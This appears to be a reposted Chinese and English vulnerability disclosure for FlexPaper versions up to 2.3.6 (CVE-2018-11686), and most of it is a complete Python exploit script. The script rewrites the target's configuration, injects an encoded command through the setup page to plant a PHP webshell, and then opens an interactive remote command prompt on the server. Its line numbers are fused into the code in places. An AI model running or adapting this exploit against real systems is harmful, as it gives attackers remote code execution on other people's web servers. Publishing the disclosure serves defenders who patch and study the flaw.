影响版本：小于FlexPaper 2.3.6的所有版本

FlexPaper (https://www.flowpaper.com)

是一个开源项目，遵循GPL协议，在互联网上非常流行。它为web客户端、移动设备和平板设备提供文档的查看功能。至少在2014年之前，维基解密一直在广泛的使用该组件，漏洞产生的原因是受到一个XSS漏洞补丁的影响。

Red Timmy Sec在FlexPaper上发现了一个远程命令执行漏洞。供应商立即联系并注册了CVE 2018-11686。尽管这个项目的2.3.7版本已经发布了一个补丁，但是这个漏洞本身直到现在仍然没有被公开。

关于这个漏洞的详细情况请看:https://redtimmysec.wordpress.com/2019/03/07/flexpaper-remote-code-execution/

文末附Exp.

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FlexPaper <=2.3.6 Remote Command Execution

FlexPaper (https://www.flowpaper.com) is an open source project, released under GPL license, quite widespread over the internet. It provides document viewing functionalities to web clients, mobile and tablet devices. At least until 2014 the component has been actively used by WikiLeaks, when it was discovered to be affected by a XSS vulnerability subsequently patched.

Around one year ago Red Timmy Sec discovered a Remote Command Execution vulnerability on FlexPaper. The vendor was immediately contacted and a CVE registered (2018-11686). However the vulnerability itself has remained undisclosed until now, regardless the fact that a patch has been issued with the release 2.3.7 of the project.

Full analysis of this vulnerability can be found here: https://redtimmysec.wordpress.com/2019/03/07/flexpaper-remote-code-execution/

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Exp(Exploit):

1 #!/usr/bin/env python

2 #Exploit Title: FlexPaper PHP Publish Service <= 2.3.6 RCE

3 #Date: March 2019

4 #Exploit Author: Red Timmy Security - redtimmysec.wordpress.com

5 #Vendor Homepage: https://flowpaper.com/download/

6 #Version: <= 2.3.6

7 #Tested on: Linux/Unix

8 #CVE : CVE-2018-11686

9 #Disclamer: This exploit is for educational purpose only

10 #More details on https://redtimmysec.wordpress.com/2019/03/07/flexpaper-remote-code-execution/

11

12 importsys13 importrequests14 importreadline15 importurllib216 importssl17

18 try:19 url = sys.argv[1]20 except:21 print "[-] usage $python shredpaper.py http://targert.com/flexpaper/"

22 print sys.exit(1)23

24 print """

25 __ __26 _____/ /_ ________ ____/ ____ ____ _____ ___ _____27 / ___/ __ \/ ___/ _ \/ __ / __ \/ __ `/ __ \/ _ \/ ___/28 (__ / / / / / / __/ /_/ / /_/ / /_/ / /_/ / __/ /29 /____/_/ /_/_/ \___/\__,_/ .___/\__,_/ .___/\___/_/30 /_/ /_/31 """

32

33 print "[*] FlexPaper <= 2.3.6 Remote Command Execution - Red Timmy Security)"

34 print "[*] Attacking %s" %url35 print "[*] Deleting target configuration file"

36 payload = (("SAVE_CONFIG","1"),("PDF_Directory","/var/www/html/flex2.3.6/flexpaper/pdf"),("SWF_Directory","config/"),("LICENSEKEY",""),("splitmode","1"),("RenderingOrder_PRIM","flash"),("RenderingOrder_SEC","html"))37 url1 = url+"/php/change_config.php"

38 r1 = requests.post(url1, data=payload)39 rx = requests.post(url1, data=payload) #resend

40 shellcode = "%69%64%3b%65%63%68%6f%20%50%44%39%77%61%48%41%4b%43%69%52%72%5a%58%6b%67%50%53%41%6b%58%30%64%46%56%46%73%6e%59%57%4e%6a%5a%58%4e%7a%4a%31%30%37%43%67%70%70%5a%69%67%6b%61%32%56%35%50%54%30%6e%4d%44%6b%34%4e%7a%63%7a%4e%7a%59%78%4d%54%59%30%4e%7a%49%33%4e%44%49%33%4f%44%51%7a%4d%6a%51%34%4d%6a%52%74%65%47%31%74%65%47%30%6e%4b%58%73%4b%43%67%6c%6c%59%32%68%76%49%48%4e%6f%5a%57%78%73%58%32%56%34%5a%57%4d%6f%59%6d%46%7a%5a%54%59%30%58%32%52%6c%59%32%39%6b%5a%53%67%6b%58%30%64%46%56%46%73%6e%59%32%31%6b%4a%31%30%70%4b%54%73%4b%43%6e%30%37%43%6a%38%2b%43%67%3d%3d%7c%62%61%73%65%36%34%20%2d%64%20%3e%24%28%70%77%64%29%2f%74%69%67%65%72%5f%73%68%65%6c%6c%2e%70%68%70%3b%69%64"

41

42 print "[*] Uploading webshell.."

43 url2 = url+"/php/setup.php?step=2&PDF2SWF_PATH="+shellcode44 r2 =requests.get(url2)45 print "[*] Checking if shell is uploaded successfully"

46

47 webshell = url+ '/php/tiger_shell.php'

48

49 check_shell =requests.get(webshell)50 if check_shell.status_code == 200:51 print "[*] We got a shell"

52 else:53 print "[-] Exploit failed, die"

54 sys.exit(2)55 ctx =ssl.create_default_context()56 ctx.check_hostname =False57 ctx.verify_mode =ssl.CERT_NONE58 whileTrue:59 cmd = raw_input("enter cmd>>")60 cmd =cmd.strip()61 cmd = cmd.encode('base64').strip().replace("\n","")62 link = url+"/php/tiger_shell.php?cmd=%s&access=09877376116472742784324824mxmmxm" %cmd.strip()63 #print link

64 try:65 response = urllib2.urlopen(link, context=ctx)66 page =response.read()67 printpage68 exceptException as exc:69 printexc70 continue